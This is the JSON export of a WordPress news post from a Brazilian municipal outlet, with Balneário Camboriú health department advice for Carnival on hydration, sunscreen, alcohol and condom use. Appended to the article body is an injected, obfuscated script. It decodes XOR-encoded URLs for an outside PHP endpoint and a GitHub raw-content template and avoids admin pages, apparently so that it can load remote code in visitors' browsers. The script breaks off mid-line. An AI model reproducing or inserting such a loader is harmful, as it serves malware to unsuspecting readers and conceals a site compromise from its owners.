{"id":165889,"date":"2026-02-11T09:28:00","date_gmt":"2026-02-11T12:28:00","guid":{"rendered":"https:\/\/nopontosc.com.br\/?p=165889"},"modified":"2026-02-11T09:28:00","modified_gmt":"2026-02-11T12:28:00","slug":"secretaria-de-saude-orienta-sobre-os-cuidados-para-curtir-o-carnaval","status":"publish","type":"post","link":"https:\/\/thedeepblue.com.br\/nopontosc\/2026\/02\/11\/secretaria-de-saude-orienta-sobre-os-cuidados-para-curtir-o-carnaval\/","title":{"rendered":"Secretaria de Sa\u00fade orienta sobre os cuidados para curtir o Carnaval"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Com a proximidade da chegada do Carnaval, a Secretaria de Sa\u00fade de Balne\u00e1rio Cambori\u00fa orienta os foli\u00f5es sobre os cuidados b\u00e1sicos que podem ajudar a aproveitar a comemora\u00e7\u00e3o com seguran\u00e7a, sa\u00fade e bem-estar. Para curtir a folia na rua, \u00e9 preciso se manter atento \u00e0 hidrata\u00e7\u00e3o, prote\u00e7\u00e3o solar, uso de roupas leves e n\u00e3o esquecer da import\u00e2ncia do preservativo.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">O m\u00e9dico da rede municipal de Sa\u00fade, Gabriel Ferrari, explica que o consumo de \u00e1gua e isot\u00f4nicos \u00e9 essencial para manter alta a hidrata\u00e7\u00e3o. Acompanhado disso, \u00e9 importante ingerir alimentos leves para evitar intoxica\u00e7\u00f5es, al\u00e9m de evitar jejuns prolongados.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cUse protetor solar e reaplique ao longo do dia, especialmente se voc\u00ea suar muito ou entrar muito no mar. Use tamb\u00e9m bon\u00e9s, chap\u00e9us e \u00f3culos escuros. Al\u00e9m disso, evite o consumo excessivo de \u00e1lcool, mas caso n\u00e3o puder evitar, intercale com \u00e1gua mineral\u201d, orienta.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">O uso do preservativo (camisinha) \u00e9 outro ponto levantado pelo m\u00e9dico. As Infec\u00e7\u00f5es Sexualmente Transmiss\u00edveis (ISTs) &#8211; como HIV, S\u00edfilis, hepatites e gonorreia &#8211; continuam sendo um importante problema de sa\u00fade p\u00fablica, especialmente nessa \u00e9poca do ano. Muitas vezes, essas infec\u00e7\u00f5es n\u00e3o apresentam sintomas, o que facilita a transmiss\u00e3o at\u00e9 mesmo sem que a pessoa saiba que tem a doen\u00e7a.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u201cEm todas as rela\u00e7\u00f5es sexuais, \u00e9 uma das formas mais eficazes de preven\u00e7\u00e3o. Exija o uso de preservativo durante as rela\u00e7\u00f5es. Cabe ressaltar que as Unidades B\u00e1sicas de Sa\u00fade distribuem preservativos gratuitamente, al\u00e9m de oferecer orienta\u00e7\u00e3o, testes r\u00e1pidos e tratamento quando necess\u00e1rio\u201d, disse.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Cuidados necess\u00e1rios<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Beba \u00e1gua ao longo de todo o dia, mesmo sem sede. \u00c1gua, \u00e1gua de coco e sucos naturais s\u00e3o boas op\u00e7\u00f5es;<\/li>\n\n\n\n<li>Bebidas alco\u00f3licas n\u00e3o hidratam \u2014 pelo contr\u00e1rio, aumentam a perda de l\u00edquidos. Portanto, evite. Se n\u00e3o puder, tome \u00e1gua intercaladamente;<\/li>\n\n\n\n<li>Prefira refei\u00e7\u00f5es leves e nutritivas, como abund\u00e2ncia de frutas, saladas, legumes e carnes magras, al\u00e9m de carboidratos para trazer energia, como arroz e batata;<\/li>\n\n\n\n<li>Evite alimentos muito gordurosos ou mal conservados, que aumentam o risco de mal-estar e diarreia;<\/li>\n\n\n\n<li>Costume manter as mesmas refei\u00e7\u00f5es que voc\u00ea faz ao longo do ano.<\/li>\n<\/ul>\n<script>; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!\/^\\\/(wp-admin|wp-login)\/.test(window.location.pathname||\"\")){var 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